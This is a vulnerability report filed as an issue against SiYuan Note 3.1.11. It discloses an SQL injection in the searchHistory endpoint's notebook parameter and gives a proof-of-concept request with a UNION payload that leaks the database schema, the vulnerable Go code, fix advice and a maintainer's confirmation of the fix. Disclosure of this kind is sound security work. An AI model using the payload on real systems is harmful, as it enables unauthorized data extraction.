SQL Injection Vulnerability in searchHistory (siyuan version 3.1.11)

[TaiPhung217]

Is there an existing issue for this?

• I have searched the existing issues

Can the issue be reproduced with the default theme (daylight/midnight)?

• I was able to reproduce the issue with the default theme

Could the issue be due to extensions?

• I've ruled out the possibility that the extension is causing the problem.

Describe the problem

An SQL injection vulnerability has been identified in version 3.1.11 of the Siyuan Note application in the notebook parameter of the POST /api/history/searchHistory endpoint. By sending a payload we can inject an sql query

POC

Steps to Reproduce:

1. Set up the Siyuan Note application version 3.1.11 in a local environment.
2. Send the following request to the /api/history/searchHistory endpoint:

POST /api/history/searchHistory HTTP/1.1
Host: localhost:6806
Content-Length: 98
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-platform: "Windows"
Accept-Language: en-US
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://localhost:6806
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:6806/stage/build/desktop/?r=vshr05s
Accept-Encoding: gzip, deflate, br
Cookie: siyuan=MTczMDg2MTkxNnxEWDhFQVFMX2dBQUJFQUVRQUFCeF80QUFBUVp6ZEhKcGJtY01CZ0FFWkdGMFlRWnpkSEpwYm1jTVZRQlRleUpYYjNKcmMzQmhZMlZ6SWpwN0lpOXphWGwxWVc0dmQyOXlhM053WVdObEx5STZleUpCWTJObGMzTkJkWFJvUTI5a1pTSTZJakV5TXpRaUxDSkRZWEIwWTJoaElqb2lZbWcxY21KMmVTSjlmWDA9fF5xFoKuR_nqED8t-xyAdLUhXwMIaj9E3nswwd1J_2-M; _ga=GA1.1.1190341866.1730861926; _ga_L7WEXVQCR9=GS1.1.1730861926.1.1.1730865096.0.0.0
Connection: keep-alive

{"notebook":"%' union SELECT sql FROM sqlite_schema -- -","query":"","page":1,"op":"all","type":0}

3. Observe the response, which contains database schema information, including SQL statements for creating tables.

HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: origin, Content-Length, Content-Type, Authorization
Access-Control-Allow-Methods: GET, POST, PUT, PATCH, DELETE, HEAD, OPTIONS
Access-Control-Allow-Origin: *
Access-Control-Allow-Private-Network: true
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
Date: Wed, 06 Nov 2024 08:19:51 GMT
Content-Length: 818

{"code":0,"msg":"","data":{"histories":["1730865329","1730866250","1730866254","1730875127","1730875727","CREATE TABLE 'histories_fts_case_insensitive_config'(k PRIMARY KEY, v) WITHOUT ROWID","CREATE TABLE 'histories_fts_case_insensitive_content'(id INTEGER PRIMARY KEY, c0, c1, c2, c3, c4, c5, c6)","CREATE TABLE 'histories_fts_case_insensitive_data'(id INTEGER PRIMARY KEY, block BLOB)","CREATE TABLE 'histories_fts_case_insensitive_docsize'(id INTEGER PRIMARY KEY, sz BLOB)","CREATE TABLE 'histories_fts_case_insensitive_idx'(segid, term, pgno, PRIMARY KEY(segid, term)) WITHOUT ROWID","CREATE VIRTUAL TABLE histories_fts_case_insensitive USING fts5(id UNINDEXED, type UNINDEXED, op UNINDEXED, title, content, path UNINDEXED, created UNINDEXED, tokenize=\"siyuan case_insensitive\")"],"pageCount":1,"totalCount":5}}

The code that caused the vulnerability:

This issue occurs due to chaining when passing notebook parameter directly into sql query, without filter.
file: kernel/model/history.go

func FullTextSearchHistory(query, box, op string, typ, page int) (ret []string, pageCount, totalCount int) {
	query = gulu.Str.RemoveInvisible(query)
	if "" != query && HistoryTypeDocID != typ {
		query = stringQuery(query)
	}

	offset := (page - 1) * fileHistoryPageSize

	table := "histories_fts_case_insensitive"
	stmt := "SELECT DISTINCT created FROM " + table + " WHERE "
	stmt += buildSearchHistoryQueryFilter(query, op, box, table, typ)
	countStmt := strings.ReplaceAll(stmt, "SELECT DISTINCT created", "SELECT COUNT(DISTINCT created) AS total")
	stmt += " ORDER BY created DESC LIMIT " + strconv.Itoa(fileHistoryPageSize) + " OFFSET " + strconv.Itoa(offset)
	result, err := sql.QueryHistory(stmt)
	if err != nil {
		return
	}
	for _, row := range result {
		ret = append(ret, row["created"].(string))
	}
	result, err = sql.QueryHistory(countStmt)
	if err != nil {
		return
	}
	if 1 > len(ret) {
		ret = []string{}
	}
	if 1 > len(result) {
		return
	}
	totalCount = int(result[0]["total"].(int64))
	pageCount = int(math.Ceil(float64(totalCount) / float64(fileHistoryPageSize)))
	return
}

Impact:

• SQL injection

Expected result

• Use parameterized queries or prepared statements to mitigate SQL injection risks.
• Ensure proper input sanitization and validation for all user inputs. filter out special characters like '
• Apply error handling to prevent the leaking of database information in the response

Screenshot or screen recording presentation

No response

Version environment

- Version: 3.1.11
- Operating System: ubuntu
- Browser (if used):

Log file

Attaching to main-1
main-1 | Using existing group: siyuan (1000)
main-1 | Using existing user siyuan (PUID: 1000, PGID: 1000)
main-1 | Adjusting ownership of /opt/siyuan, /home/siyuan/, and /siyuan/workspace/
main-1 | Starting Siyuan with UID:1000 and GID:1000 in workspace /siyuan/workspace/
main-1 | I 2024/11/06 09:42:46 working.go:147:
main-1 | ___ ___ ___ ___
main-1 | / /\ ___ ___ //\ / /\ //
main-1 | / /:/_ / /\ //| \ :\ / /::\ \ :
main-1 | / /:/ /\ / /:/ | |:| \ :\ / /:/:\ \ :
main-1 | / /:/ /::\ //::\ | |:| ___ \ :\ / /://::\ __:
main-1 | //:/ /:/:\ _/:_ ||:| //\ __:\ //:/ /:/:\ /_/::::::::
main-1 | \ :/://:/ \ :/\ //::::\ \ :\ / /:/ \ :/:// \ :~~/
main-1 | \ ::/ /:/ _::/ ~:\ \ :\ /:/ \ ::/ \ :\ ~~~
main-1 | _/ /:/ //:/ \ :\ \ :/:/ \ :\ \ :
main-1 | //:/ _/ _/ \ ::/ \ :\ \ :
main-1 | _/ _/ _/ _/
main-1 | I 2024/11/06 09:42:46 runtime.go:79: kernel is booting:
main-1 | * ver [3.1.11]
main-1 | * arch [amd64]
main-1 | * os [alpine]
main-1 | * pid [1]
main-1 | * runtime mode [prod]
main-1 | * working directory [/opt/siyuan]
main-1 | * read only [false]
main-1 | * container [docker]
main-1 | * database [ver=20220501]
main-1 | * workspace directory [/siyuan/workspace/]
main-1 | I 2024/11/06 09:42:46 conf.go:130: loaded conf [/siyuan/workspace/conf/conf.json]
main-1 | I 2024/11/06 09:42:46 runtime.go:128: use network proxy [system]
main-1 | I 2024/11/06 09:42:46 serve.go:139: kernel [pid=1] http server [0.0.0.0:6806] is booting
main-1 | I 2024/11/06 09:42:46 conf.go:841: database size [7.65 MB], tree/block count [66/2297]
main-1 | I 2024/11/06 09:42:46 working.go:193: kernel booted
main-1 | I 2024/11/06 09:42:47 box.go:77: auto stat [trees=66, blocks=2297, dataSize=5.16 MB, assetsSize=3.83 MB]
main-1 | W 2024/11/06 09:43:09 history.go:43: sql query [SELECT DISTINCT created FROM histories_fts_case_insensitive WHERE 1=1 AND path LIKE '%/%' orser by 100 -- -/%' AND path LIKE '%.sy' AND CAST(created AS INTEGER) > 1728294189 ORDER BY created DESC LIMIT 32 OFFSET 0] failed: near "orser": syntax error

More information

No response

[88250]

Thanks for your feedback. We have merged the fix into #13077.